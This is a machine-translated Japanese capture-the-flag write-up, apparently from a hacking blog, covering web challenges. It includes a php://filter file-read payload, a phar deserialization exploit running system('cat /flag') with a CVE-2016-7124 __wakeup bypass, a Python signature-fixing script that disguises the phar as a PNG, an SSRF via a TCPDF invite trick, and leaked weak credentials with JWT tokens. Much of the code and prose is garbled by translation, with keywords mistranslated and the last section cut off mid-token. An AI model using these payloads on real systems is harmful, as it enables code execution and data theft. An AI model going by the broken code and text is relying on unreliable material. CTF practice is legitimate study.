Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863102149

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

1。 web

1。旗が消える

アクセス拒否

FakeIPプラグインフェイクIP

imgプロンプトファイルはnullです

ファイルパラメーターを追加してみてください

?file=index.php`プロンプト `ハックしないでください!

おそらくフィルターチェーン

参照記事:

https://www.cnblogs.com/linuxsec/articles/12684259.html

https://blog.csdn.net/yuanxu8877/article/details/127607264

Php: //filter/convert.iconvが成功することができます

img/?file=php: //filter/convert.iconv.utf-16/resource=index.php

/?file=php://filter/convert.iconv.utf-8.utf-16/resource=/flag img img :010一般的なバックアップファイルまたはロボットがあるかどうかを最初に確認しましょう。

バックアップファイルwww.tar.gzを見つけることができます

image.png

次に、URL/www.tar.gzにアクセスして、バックアップファイルをダウンロードします

image.png

主にupload.phpとdownload.phpを見て、ソースコードがすべてここにあることがわかりました

image.png

image.png

次のように、CSDNで同様の質問を見ることができます。

https://blog.csdn.net/m0_70819573/article/details/129506508

https://blog.csdn.net/2301_79708753/article/details/135873948

https://www.bilibili.com/read/cv21572905/

次に、質問へのリンクを開き、アップロードフォームから始めて、もうできません。それは脱介入の意味ではありませんか?

image.png

次に、ファイルのアップロードと降下の組み合わせである可能性があります。

次に、それがファーの降下化であることを検索して見つける - ファイルに含まれるゼリア化(ファイルアップロード)

それ以外{

$ extensions=array( 'gif'、 'jpg'、 'png');

$ temp=exploit( '。'、$ _files ['file'] ['name']);

$ fileextension=end($ temp);

$ filesizecheck=$ _files ['file'] ['size'];

$ iSextensionAllowed=in_array($ fileextension、$ extensions)? True : False;

if($ filesizecheck $ isextensionAllowed){

$ filecontent=file_get_contents($ _ files ['file'] ['tmp_name']);

$ haltcompilercheck=strpos($ filecontent、 '__halt_compiler();');

if(getType($ haltCompilerCheck)==='Integer'){

echo 'phar';

uoload.phpのこのコードから、GIF、JPG、およびPNGの写真のみをアップロードできることを知ることができ、コンテンツチェックが実行されることがわかります。ファイルにはコンテンツ「__HALT_COMPILER();」を含めることはできません。

そのため、生成されたPhARファイルを圧縮パッケージに圧縮して、チェックをバイパスする必要があります。

クラスファイル{

public $ val1;

public $ val2;

public $ val3;

パブリック関数__construct(){

$ this-val1='val1';

$ this-val2='val2';

}

パブリック関数__destruct(){

if($ this-val1==='file' $ this-val2==='exists'){

if(preg_match( '/^\ s*system \ s*\(\ s*\' cat \ s+\/[^;]*\ '\ s*\); \ s*$/'、$ this-val3){

eval($ this-val3);

} それ以外{

エコー「アクセス拒否」;

}

}

}

パブリック関数__access(){

$ var='アクセス拒否';

echo $ var;

}

public function __wakeup(){

$ this-val1='exists';

$ this-val2='file';

echo 'ファイルが存在します';

}

}

次に、download.phpのコードから、それが定期的に脱出されていることを知ることができます。 __Destruct()Magicメソッドには、コマンドを実行するために使用できるeval()関数があり、コマンド実行の脆弱性があります。 __destruct()メソッドのIFステートメントは、変数v a l 1がf i l eに等しいか、変数Val1がファイルに等しいか、変数Val1がファイルに等しいか、変数Val2が存在するかどうかを決定します。

次に、次のコードに

if(preg_match( '/^\ s*system \ s*\(\ s*\' cat \ s+\/[^;]*\ '\ s*\); \ s*$/'、$ this-val3){

eval($ this-val3);

このコードは、文字列が特定のパターンと一致するかどうかをチェックするPHPの条件付きステートメントです。一致が成功した場合、評価関数が実行され、文字列内のコードが実行されます。

この正規表現を見てみましょう

/^\ s*system \ s*\(\ s*\ 'cat \ s+\/[^;]*\' \ s*\); \ s*$/:

/^と$は文字列の開始と終了を表し、文字列全体がパターンと一致するようにします。

\ s*ゼロ以上のホワイトスペース文字を一致させます。

システムは、文字列内のシステムと一致します。

(および)左と右のブラケットに一致します。

\ s*ゼロ以上のホワイトスペース文字を一致させます。

'cat \ s+/[^;]'は、catから始まるファイルパスに一致するファイルパスに一致します。で:

’単一の引用を一致させます。

猫は猫の弦に一致します。

\ s+ 1つ以上の空白文字を一致させます。

/slash /を一致させます。

[^;]ゼロ以上の非セミコロン文字を一致させます。

’単一の引用を一致させます。

\ s*ゼロ以上のホワイトスペース文字を一致させます。

;セミコロンを一致させます。

言い換えれば、この正規表現は、文字列がシステムで始まるかどうかを確認するために使用されます( 'cat、その後のファイルパスが続き、その後'で終了します)。

したがって、$ val3の値を構築できます

System( 'cat /flag');

旗を取得するために

T h i s-v a l 3のコンテンツがこのパターンと一致する場合、e v a lが実行されます(このVal3のコンテンツはこのパターンと一致し、評価します(このパターンと一致します、評価(this-val3)。

正規表現を視覚化https://wangwl.net/static/projects/visualregex/#

image.png

次に、これに注意を払う必要があります。WakeUp()Magic Methodをバイパスする必要があります。

public function __wakeup(){

$ this-val1='exists';

$ this-val2='file';

echo 'ファイルが存在します';

}

v a l 1をe x i s t s、val1が存在し、val1が存在し、val2をファイルします。

image.png

、したがって、覚醒()をバイパスする必要があります

つまり、CVE-2016-7124を使用する必要があり、その影響の範囲は

PHP5 5.6.25

PHP7 7.0.10

そのトリガー方法も非常に単純です。つまり、シリアル化された文字列のオブジェクト属性の数を表す値が実際の属性番号よりも大きい場合、__wakeupの実行はスキップされます

次に、ファーファイルを構築し、アップロードして脱3を実行し、それによってコードを実行する必要があります

アップロードすると、ZIPはPhAR検出をバイパスしますが、PhAR擬似プロトコルはZIPを減圧します。減圧するとき、私たちのPHAR擬似プロトコルは、file_get_contents()での脱気からのトリガーをトリガーし、eval()コマンドを実行します。

PHARファイル生成コード:

?php

ini_set( 'phar.readonly'、 'off');

クラスファイル

{

public $ val1;

public $ val2;

public $ val3;

パブリック関数__construct()

{

$ this-val1='file';

$ this-val2='exists';

$ this-val3='System(' cat /flag ');';

}

}

$ a=new file();

$ phar=new Phar( 'aa3.phar');

$ phar-startbuffering();

$ phar-setstub( '?php __halt_compiler();');

$ phar-setmetadata($ a);

$ phar-addfromstring( 'test.txt'、 'test');

$ phar-stopbuffering();

php phar.php

コードを実行して、ファーファイルを生成します

image.png

010を通じて、Pharファイルの内容がシリアル化されていることがわかります

image.png

しかし、アップロードとアクセスのときにエラーが報告されます

image.png

警告: file_get_contents(phar: //./upload/fuck.jpg):はstream: phar '/var/www/html/upload/fuck.jpg' sha1 signatureを確認できませんでした。

ここには問題があります。 010でPhARファイルを変更してWakeUp()Magicメソッドをバイパスできますが、ここには署名認証があり、署名を修正する必要があります

image.png

スクリプトで修正されたPHARは、データ、データ署名(20ビット)、および署名形式(8ビット)で構成されています。

gzipをインポートします

HashlibインポートSha1から

with open(r'd: \\ downlaods_1 \\ anfang_ctf \\ webbbbbbbb \\ aa3.phar '、' rb ')file:として

f=file.read()

s=f [:-28]#データに署名してください

S=S.Replace(B'3: {'、b'4: {')#属性値を交換し、バイパス__wakeup

H=F [-8:]#署名タイプとGBMBのIDを取得する

newf=s + sha1(s).digest() + h#data + signature +(type + gbmb)

#print(newf)

newf=gzip.compress(newf)#gzip pharファイルの圧縮

with open(r'D: \\ downlaods_1 \\ anfang_ctf \\ webbbbbbbb \\ fuck3.png '、' wb ')as file:#ファイルサフィックスを変更します

file.write(newf)

次に、PNG画像をアップロードします

image.png

phrowd.phpでポストパラメーター転送を実行し、phar: //protocol pseudoを使用してpharファイルを読み取り、脱出をトリガーします。

file=phar: //./upload/fuck3.png

最後にフラグを取得します

image.png

フラグは次のとおりです。

669B01045DA0456EA2A2861CE57DD537

2.Unserialize_web

関数をクリックしただけで何も見つかりませんでした。 F12のソースコードにwww.zipがあることがわかりました。

imgソースコードをダウンロードして、tcpdf v6.3.2を参照してください

タイトル登録関数を見て、エラーを直接登録して表示し、ソースコード登録html/api.phpのロジックを見てください

img QINTERNALへのフォローアップ

imgはhttp://LocalHost:8082/``招待状にアクセスします

次に、pdf/internal.pyに移動します

app.run(host='127.0.0.1'、ポート=8082)、ローカル8082ポートにはPythonサービスが有効になっています

その後、ローカルのデバッグがここに来て、if('myjson ['vite'] in open( 'Invites.txt')。read()。

imgその後、Google検索「CTF」TCPDF招待状を検索します

検索

https://cloud.tencent.com/developer/article/2069757

https://r0.haxors.org/posts?id=15

https://b6a.black/posts/2021-05-22-3kctf/#ppaste-web-498ポイント

参照:https://r0.haxors.org/posts?id=15

imgINVITE:-3.3E9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

img次に、イントラネットのSSRFを呼び出します

WPのように、私は何度か電話してきましたが、それを打つことができませんでした。外部ネットワークからのリクエストはないので、ネットワークがあるとは推測できません

ソースコードに移動し、元のタイトルWPに従ってSSLF場所のロジックを見つけます

img元の質問の比較

img Gopherがリリースされていることがわかります

だから私はGopherだけで、長い間テストした後もテストしていません。

最後に、Cookieの問題により、ユーザーがログインするか、以前のユーザーのCookieがログインした可能性があると思います

asmintest1を直接登録し、SSRFをチームメイトに再生します(Asmintest55)、Access Action:Adminは管理者へのアップグレードに正常にアップグレードします

img img img img

3.mypdf

0問題を解決しました。

2人のユーザーがパスワードログインが弱いため、2つのトークンを取得します

admin; 123456Test; 123456TOKEN_TEST='eyj0exaioijkv1qilcjhbgcioijsuzi1nij9.eyj1c2vyijoidgvzdcisimlwijoimtcyljiwlji0mc4zmij999.a9crtyzlavhqif9vrihn1ksjle FZCKPARV3EO96EBSLD5GZRU78QGIFKDTW_YXQGYC7Z82PQH1BQGWMF5CLBFYSQNB6V9HV7FYZJUPZZT2B-IRXITYFHW2QQJR0I_YRJATOKEN_ADMIN='eyj0exaioijkv1qilcjhbgcioijsuzi1nij9.eyj1c2vyijoiywrtaw4ilcjpcci6ije3mi4ymc4yndaumziifq。 DDTMCHPMQTBA_2_WJXLPO_6G5DTAM7STY2KNNGOL6QAEAWH4Y8EJY6NDBLUEMHXYYECPILFXZXZXEPQKV_GW3RGREG7L